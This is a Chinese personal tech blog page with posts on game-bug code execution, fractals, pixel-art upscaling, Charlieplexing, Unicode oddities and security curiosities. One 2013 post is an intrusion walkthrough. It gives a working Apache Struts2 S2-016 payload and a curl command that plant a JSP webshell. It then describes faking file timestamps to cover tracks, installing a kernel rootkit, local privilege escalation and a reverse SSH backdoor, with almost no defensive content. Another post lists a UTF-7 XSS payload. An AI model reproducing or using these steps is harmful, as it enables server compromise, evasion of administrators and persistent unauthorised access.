Apr 09 2015

游戏bug的最强利用

高玩玩游戏一般都很容易发现游戏中逻辑不完善的地方。利用这些逻辑不完善,有时可以让游戏变得很轻松,有时又可以用来达成最速挑战。这些bug们的存在虽然时不时会给人带来一些困扰,但对于高玩们,对bug的灵活利用才是真正技术的展现。

 

高玩第一阶:普通bug利用者

这一阶段的高玩会利用bug来达成正常游戏中很不容易做到的事,比如马里奥中的卡墙位二段跳,月下的保持装备过死神,晓月的出城,魂系列跳关speedrun,格斗游戏的无限连,水下8关传说,装备复制,未开放区域探索等。

 

高玩第二阶:状态跳转

这种bug的利用一般发生在speedrun中,以TAS居多。为了追求极致的通关速度,玩家首先将自己的人物,道具调整到一个特殊的状态。调整状态时你要对游戏机的汇编语言了熟于心,以使得调整后整个人物数据区的数据代码可以成为某种汇编指令来执行。然后,通过第一阶的某些bug来触发任意代码跳转。一般情况下游戏都会崩溃退出,但由于我们调整过人物数据区的结构使得数据区的代码是可执行的汇编代码,执行后的结果就是,直接跳转到游戏的ending逻辑区,实现了游戏不用玩就可以通关的技巧。

比如下面的超级马里奥世界最速通关,通过调整耀西吃物品的stack,直接跳转到游戏结局

马里奥世界最速通关

恶魔城月下夜想曲,调整物品栏数目及位置来实现自定义可执行代码

月下8分52秒通关

 

高玩第三阶:我们换个游戏玩

这一阶段其实就是状态跳转的进阶,只不过自己构建的可执行代码长度已经可以达到一个完整游戏的程度。原来的游戏如何,是什么样的游戏?I don’t care。我只知道我拿起手柄的那一刻,我就是god。

Gameboy上的口袋妖怪,通过配置道具区为一定状态,然后任意代码执行漏洞,直接变成了弹球游戏

口袋妖怪弹球

SNES上的超级马里奥世界,利用bug触发控制器缓冲区写入,然后利用工具在一定时间内写入大量汇编代码,硬生生的把游戏改造成了第一代超级玛丽

超级马里奥世界的超级玛丽

Gameboy上的口袋妖怪,利用同样bug将游戏改造成了一个PI计算器

口袋妖怪PI计算器

超级马里奥世界,改造成了弹球游戏和贪吃蛇游戏,并且还带一个游戏选单画面(twittch全程直播,感受下观众们的尖叫)

超级马里奥世界弹球和贪吃蛇

 

向高玩们致敬!

 

 

Apr 28 2014

黑客相机 - 可以自己编写滤镜的相机

 

http://shadercn.net/

Jul 31 2013

入侵与安全

最近刚出的S2-016,S2-017漏洞闹得沸沸扬扬,无数网站被入侵,很多大型超大型网站也被脱裤。本文就以这个漏洞为例详细的描述一下如何利用漏洞对网站进行安全检测,以及漏洞的重现与利用。

首先通过IT相关信息网站获得最新的漏洞信息,或者可以去专门的漏洞搜集网站,如

http://www.exploit-db.com/

去寻找自己需要的漏洞。

 

这里以S2-016漏洞为例,详细阅读说明发现是Apache Struts 2对参数过滤不完全导致可以远程执行任意代码。这种情况下你可以自己根据漏洞描述写利用代码,不过需要花很多时间去查看源代码,或者直接寻找可以用的利用代码片段,我们称之为POC(Proof of concept,概念验证)。

查找到的可以利用POC的如下面所示

redirect:${#req=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),#p=(#req.getRealPath(“/”)+”external_tool.jsp”),new java.io.BufferedWriter(new java.io.FileWriter(#p)).append(#req.getParameter(“c”)).close()}

这段代码利用漏洞可以远程执行任意代码的特点,在当前网站根目录新建了一个文件,文件内容为Post中的c参数

然后利用curl工具,随便上传一个jsp形式的webshell即可

curl –data-urlencode “c@pwn.jsp” https://www.example.com/index.action\?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23p%3D%28%23req.getRealPath%28%22%2F%22%29%2B%22external_tool.jsp%22%29%2Cnew+java.io.BufferedWriter%28new+java.io.FileWriter%28%23p%29%29.append%28%23req.getParameter%28%22c%22%29%29.close%28%29%7D

然后你就可以通过根目录下的external_tool.jsp进行登陆,获取webshell权限了。

 

得到webshell之后一般做的是先对网站打好补丁,防止其他人再次入侵,然后需要清理访问log,更改文件位置,以及设置文件修改的最后修改时间,要是有时间的话还可以对shell进行加密或者运行时创建等处理。

find /home/www/site -exec touch -c -m -t 201101110000 {} \;

要是服务器存在外网IP的话,那么我们可以直接通过这个IP来进行ssh登陆。普通的创建帐号的方法很容易被系统管理员发现以及清除,这里可以采用ssh后门的方法来设置内核级别的注入,比较流行的方式就是rootkit-ddrk。

https://code.google.com/p/g0t3n/downloads/detail?name=ddrk-rootkit.tar&can=2&q=

ddrk(DoDo’s Rootkit)是一个Linux结合shv和adore-ng优点的,内核级rootkit。设置完毕后会替换系统的sshd以及netstat,这样之后管理员无法通过netstat -ntlp查看到后门端口,无法通过who或者last看到入侵者帐户,查看相关文件的UID,GID也看不出任何变化。所以只要管理员不知道这个工具的存在的话,几乎是无法通过手工排除来找到这个后门的。

 

安装这个rootkit需要条件,就是首先你得有root权限。虽然大部分jsp网站都运行在root下,但也有很多专门建立普通用户来运行的网站。这种情况下我们webshell也仅仅是一个普通的用户权限,想要提权??嘿嘿,那么前面介绍的exploit-db就派上用场了。

根据uname -a判断当前内核版本,在local exploits一栏找到对应内核可用的exploit代码,然后服务器上编译运行一遍,直接得到root权限。比如最新的利用event_id类型不严格进行溢出的代码,对几乎所有的老版本2.6 kernel都有效

http://www.exploit-db.com/exploits/26131/

 

以上是在服务器存在公网ip的情况下,但其实一般情况下网站所在服务器都没有公网ip,这就会造成我们ssh无法连接过去的情况,只能通过nc之类的工具得到一个弱化版的shell了。真的是这样么?其实虽然一般情况下没有用到过,ssh还提供一个反向连接的功能。

被控端运行如下代码

ssh -f -N -R 10000:localhost:22 username@主控端ip

然后主控端这样连接即可

ssh username@localhost -p 10000

如此便可以在被控端22端口和主控10000端口创建一个反向ssh连接。

 

这样的反向连接虽然方便,不过很容易被发现,那么比较好的隐藏方法就是对服务器程序打patch,比如最近流行的Linux/Cdorked.A。通过替换apache的原有httpd,添加了对特定数据头的识别,当成功对应入侵者的指纹时,便将后面的数据作为代码来执行。一般情况下这种后门很难察觉,而且在访问纪录里面也查不到任何数据。

 

至于对以上入侵的防范方法,一是尽量保证服务器程序是最新版本,二就是发现异常重装拉倒。

 

May 10 2013

分形的又一些事

BurningShip分形是一种Mandelbrot分形的变形,其求值方程很简单,仅仅需要将原来Mandelbrot分形方程

z = z2 + c

之中的z实部与虚部分开计算即可

z = [|Re(z)| + i |Im(z)|]2 + c

整体图形像一艘燃烧着的船,最外面的观感是这样的

可能在这里还不是很明显,继续往左翼放大,燃烧的船外形明显了起来

游土布上面有人专门录像截取了一段超长的缩放过程,其中无穷无尽的变化看得让人心潮澎湃

http://www.youtube.com/watch?v=CD9yNFmb2FE

还有一个3d版本的在这里

http://www.youtube.com/watch?v=yaPTk-DqT1g

如果想要自己录取类似的视频或者想要实时观摩分形其他位置的变化过程,网上的爱好者们制作了一款很专业的分形工具mandelbulb-3d,下载地址在这里有

http://www.fractalforums.com/mandelbulb-3d/

 

最后想要赞叹的是,我们知道网上有很多人做过硬件版的实时分形电路,基本上都是用的FPGA等工具实现大规模并行点集的计算。但有这样的苦逼在苦逼的80,90年代,居然用普通的与非门,在TTL门电路级别搭建出了一个完整的分形计算阵列。据他博客介绍前后总共花了2年时间,其中的电路板部件如下

这项作品被命名为了Pyxis,从视频demo中已经可以看到其运算速度完全跟不上这个时代,不过在那个年代,按照他自己的比较是:

比較対象1
自作CP/Mマシン(Z80A、クロック4MHz) ・・・ 85時間20分。
・比較対象2
研究室にあったPC98XL2(80386、クロック16MHz、NDP80387付き) ・・・ 3時間33分20秒。
・Pyxis
比較対象1をホストとして ・・・ 83.9秒。

速度比PC快上了100多倍,不愧是专门运算分形的电路。

这位作者的制作精神很让人震撼,这里是他项目的传送门[link]

May 09 2013

HQX图像增强

早期游戏的分辨率十分低下,直接用模拟器模拟而画面不加处理的话,直接缩放到现代显示器的分辨率尺寸后,画面就会变得惨不忍睹。

HQX就是在这种条件下发展起来的一种图像增强技术,在原始分辨率十分低下的情况下,尽可能的还原出其中的线条与弧圈,而不是简单的二次线性三次线性插值。这种图像增强出来的效果见下面

原始图像

线性插值放大的图像

HQX增强插值的图像

 

HQX增强对图像观感的改善很大,而且难能可贵的是它所消耗的计算资源也很有限。而且随着CG技术的发展,专门针对各种图像增强的shader也一一被制作了出来。比如这里(link

 

更多的图像增强以及其比较可以参见

http://research.microsoft.com/en-us/um/people/kopf/pixelart/supplementary/multi_comparison.html

May 09 2013

Charlie多路复用

Charlie多路复用,也叫Charlieplexing,是一种能在有限的输出引脚数目下对二极管LED阵列实现最大化利用的一种方法。理论上如果有n个输出引脚可用,那么理论上最大可以实现对n*(n-1)个LED的控制。这种阵列的设计方法嗷是巧妙,如下图,首先对两个输出端口的最大化控制做一个试验(图片来源于wiki)

于是只要对两个端口加上相反的电压就可以达到对其中每个LED的控制,这种情况下有2种状态。三输入情况的扩展如下:

(这不就是中小学的数学归纳法么)直接一个递归下来,可以单独控制的LED就和引脚之间的高低电位差方向划上关系了。然后通过简单的递归公示就可以得到上面的最大可控LED数目。

 

Charlieplexing虽然可以实现对单个LED的控制,但每一个时刻只能有一个LED被定位。如果想要同时多个指定LED发光,可以使用脉冲的方式动态改变控制点,以达到想要的多显示效果。

Nov 29 2012

那些逆天的Unicode字符一览

表示分数的字符
½,‎ ⅓,‎ ¼,‎ ⅕,‎ ⅙,‎ ⅐,‎ ⅛,‎ ⅑,‎ ⅒

上下颠倒的字符
upside-down
uʍop-ǝpısdn

渲染错误的字符
————————————————-a⃣҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉

 

 

左右颠倒的字符
(‮‮(

颜文字字符
sss

菊花文
你҉好҉我҉是҉菊҉花҉文҉

边框文
你⃣ 好⃣ 我⃣ 是⃣ 边⃣ 框⃣ 文⃣

吊丝字符

 
ฐ้้ฐ้้้ฐ้้้้ฐ้้้้้ฐ้้้้้้ฐ้้้้้้้ฐ้้้้้้้้ฐ้้้้้้้้้ฐ้้้้้้้้้้ฐ้้้้้้้้้้้ฐ้้้้้้้้้้้้ฐ้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้ฐ้้้้้้้้้ฐ้้้้้้้้้้ฐ้้้้้้้้้้้ฐ้้้้้้้้้้้้ฐ้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้้้้้้้้ฐ้้้้้้้้้้้้้้้้้้้้้้้้้้้้้

超长上缀

 

n̒̓̒̓̒̓̒̓̒̓

超长下缀
a̙̙̙̙̙̙̙̙̙

 

最后来个猥琐表情

( ͡° ͜ʖ ͡°)

Oct 30 2012

Javascript生成Mandelbrot集

用javascript实现的一个Mandelbrot生成函数,利用到了js的多线程操作

演示如下:

Oct 22 2012

无限大剪切板

无限大的ascii剪切板,效果见博客上方iframe部分,或者点击这个链接

http://chen-xiao.info/infinity_pasteboard/

用鼠标拖动或者键盘上的方向键可以移动当前视点

视点可以放大或者缩小

点击copy可以复制当前视点内容到一个新的页面用于拷贝

可以粘贴网络上的各种ascii图形,并且支持UNICODE字符

所有编辑过的内容会自动保存,并且所有人共享

Sep 21 2012

一些奇葩的安全事例

1, 中国的GSM是非加密的,使用简单的设备伪装基站即可窃取所有的通话与短信信息。加密的3G信号也可以在有限的代价内实时破解。

 

2, ID卡与HID卡被大量用于门禁系统中,然而这种卡很容易被直接复制。现在流行的MF1卡内部自带芯片并采用双重加密,不过由于加密算法已被破解,使得这种卡目前也毫无安全可言。

 

3, OCR等图像识别存在盲注风险,比如下面的车牌号

 

4, 不要轻易相信图像数据,由图像exif造成的xss威胁

http://www.wooyun.org/bugs/wooyun-2010-09110

 

5, 永远不要相信你的手机短信

http://www.pod2g.org/2012/08/sendrawpdu-send-raw-sms-pdu-data-to.html

 

6, 通过电话线对银行进行入侵, 交互式话音响应系统(IVR)漏洞事例

http://www.scmagazine.com.au/News/315844,phonetic-attack-commands-crash-bank-phone-lines.aspx

 

7, 警惕UTF7编码

+ADw-script+AD4-alert(‘xss’)+ADw-/script+AD4-

 

8, 考试用答题卡的注入,用2B铅笔注入阅卷系统

http://www.douban.com/group/topic/30266692/

 

9, unicode造成的文件名错觉,使用文本从右至左的控制符

 

10, 警惕硬件木马(如USB键盘记录器等)

http://www.makespy.com/goods-130.html